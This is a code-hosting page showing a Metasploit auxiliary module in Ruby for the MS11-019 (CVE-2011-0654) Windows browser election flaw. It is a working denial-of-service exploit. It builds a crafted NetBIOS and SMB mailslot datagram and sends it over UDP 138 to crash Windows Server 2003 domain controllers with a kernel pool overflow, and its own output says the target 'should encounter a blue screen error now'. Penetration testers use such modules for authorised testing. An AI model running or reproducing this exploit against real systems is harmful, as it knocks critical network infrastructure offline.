PageRenderTime 25ms CodeModel.GetById 16ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb

https://gitlab.com/leijianbin/metasploit-framework
Ruby | 175 lines | 123 code | 39 blank | 13 comment | 5 complexity | ac316ef591f491d897be5f66769c6c3e MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-2.0, LGPL-2.1
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class Metasploit3 < Msf::Auxiliary
  6. Rank = ManualRanking
  7. include Msf::Exploit::Remote::Udp
  8. #include Msf::Exploit::Remote::SMB
  9. include Auxiliary::Dos
  10. def initialize(info = {})
  11. super(update_info(info,
  12. 'Name' => 'Microsoft Windows Browser Pool DoS',
  13. 'Description' => %q{
  14. This module exploits a denial of service flaw in the Microsoft
  15. Windows SMB service on versions of Windows Server 2003 that have been
  16. configured as a domain controller. By sending a specially crafted election
  17. request, an attacker can cause a pool overflow.
  18. The vulnerability appears to be due to an error handling a length value
  19. while calculating the amount of memory to copy to a buffer. When there are
  20. zero bytes left in the buffer, the length value is improperly decremented
  21. and an integer underflow occurs. The resulting value is used in several
  22. calculations and is then passed as the length value to an inline memcpy
  23. operation.
  24. Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and
  25. causes considerable damage to kernel heap memory. While theoretically possible,
  26. it does not appear to be trivial to turn this vulnerability into remote (or
  27. even local) code execution.
  28. },
  29. 'References' =>
  30. [
  31. [ 'CVE', '2011-0654' ],
  32. [ 'BID', '46360' ],
  33. [ 'OSVDB', '70881' ],
  34. [ 'MSB', 'MS11-019' ],
  35. [ 'EDB', '16166' ],
  36. [ 'URL', 'http://seclists.org/fulldisclosure/2011/Feb/285' ]
  37. ],
  38. 'Author' => [ 'Cupidon-3005', 'jduck' ],
  39. 'License' => MSF_LICENSE
  40. ))
  41. register_options(
  42. [
  43. Opt::RPORT(138),
  44. OptString.new('DOMAIN', [ true, "The name of the domain that the target controls" ])
  45. ], self.class)
  46. end
  47. def run
  48. connect_udp
  49. @client = Rex::Proto::SMB::Client.new(udp_sock)
  50. ip = Rex::Socket.source_address(datastore['RHOST'])
  51. ip_src = Rex::Socket.gethostbyname(ip)[3]
  52. svc_src = "\x41\x41\x00" # pre-encoded?
  53. name_src = Rex::Text.rand_text_alphanumeric(15) # 4+rand(10))
  54. svc_dst = "\x42\x4f\x00" # pre-encoded?
  55. name_dst = datastore['DOMAIN']
  56. pipe = "\\MAILSLOT\\BROWSER"
  57. election =
  58. "\x08" + # Election Request
  59. "\x09" + # Election Version
  60. "\xa8" + # election desire - Domain Master & WINS & NT
  61. "\x0f" + # Browser Protocol Major Version
  62. "\x01" + # Browser Protocol Minor Version
  63. "\x20" + # Election OS (NT Server)
  64. "\x1b\xe9\xa5\x00" + # Uptime
  65. "\x00\x00\x00\x00" + # NULL... Padding?
  66. #("A" * 4) + "\x00"
  67. Rex::Text.rand_text_alphanumeric(410) + "\x00"
  68. nbdghdr =
  69. "\x11" + # DIRECT_GROUP datagram
  70. "\x02" + # first and only fragment
  71. [rand(0xffff)].pack('n') + # Transation Id (DGM_ID)
  72. ip_src +
  73. "\x00\x8a" + # Source Port (138)
  74. "\x00\xa7" + # DGM_LENGTH, patched in after
  75. "\x00\x00" # PACKET_OFFSET
  76. nbdgs = nbdghdr +
  77. half_ascii(name_src, svc_src) +
  78. half_ascii(name_dst, svc_dst)
  79. # A Trans request for the mailslot
  80. nbdgs << trans_mailslot(pipe, '', election)
  81. # Patch up the length (less the nb header)
  82. nbdgs[0x0a, 2] = [nbdgs.length - nbdghdr.length].pack('n')
  83. print_status("Sending specially crafted browser election request..")
  84. #print_status("\n" + Rex::Text.to_hex_dump(nbdgs))
  85. udp_sock.put(nbdgs)
  86. print_status("The target should encounter a blue screen error now.")
  87. disconnect_udp
  88. end
  89. # Perform a browser election request using the specified subcommand, parameters, and data
  90. def trans_mailslot(pipe, param = '', body = '')
  91. # Null-terminate the pipe parameter if needed
  92. if (pipe[-1,1] != "\x00")
  93. pipe << "\x00"
  94. end
  95. pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
  96. @client.smb_defaults(pkt['Payload']['SMB'])
  97. setup_count = 3
  98. setup_data = [1, 0, 2].pack('v*')
  99. data = pipe + param + body
  100. base_offset = pkt.to_s.length + (setup_count * 2) - 4
  101. param_offset = base_offset + pipe.length
  102. data_offset = param_offset + param.length
  103. pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
  104. pkt['Payload']['SMB'].v['Flags1'] = 0x0
  105. pkt['Payload']['SMB'].v['Flags2'] = 0x0
  106. pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
  107. pkt['Payload'].v['ParamCountTotal'] = param.length
  108. pkt['Payload'].v['DataCountTotal'] = data.length
  109. pkt['Payload'].v['ParamCountMax'] = 0
  110. pkt['Payload'].v['DataCountMax'] = 0
  111. pkt['Payload'].v['ParamCount'] = param.length
  112. pkt['Payload'].v['ParamOffset'] = param_offset if param.length > 0
  113. pkt['Payload'].v['DataCount'] = body.length
  114. pkt['Payload'].v['DataOffset'] = data_offset
  115. pkt['Payload'].v['SetupCount'] = setup_count
  116. pkt['Payload'].v['SetupData'] = setup_data
  117. pkt['Payload'].v['Payload'] = data
  118. exploit = pkt.to_s
  119. # Strip off the netbios header (thx, but no thx!)
  120. exploit[4, exploit.length - 4]
  121. end
  122. def half_ascii(name, svc)
  123. ret = " "
  124. name.unpack('C*').each { |byte|
  125. ret << [0x41 + (byte >> 4)].pack('C')
  126. ret << [0x41 + (byte & 0xf)].pack('C')
  127. }
  128. left = 15 - name.length
  129. if left > 0
  130. ret << "\x43\x41" * left
  131. end
  132. # In our case, svc is already encoded..
  133. ret << svc
  134. ret
  135. end
  136. end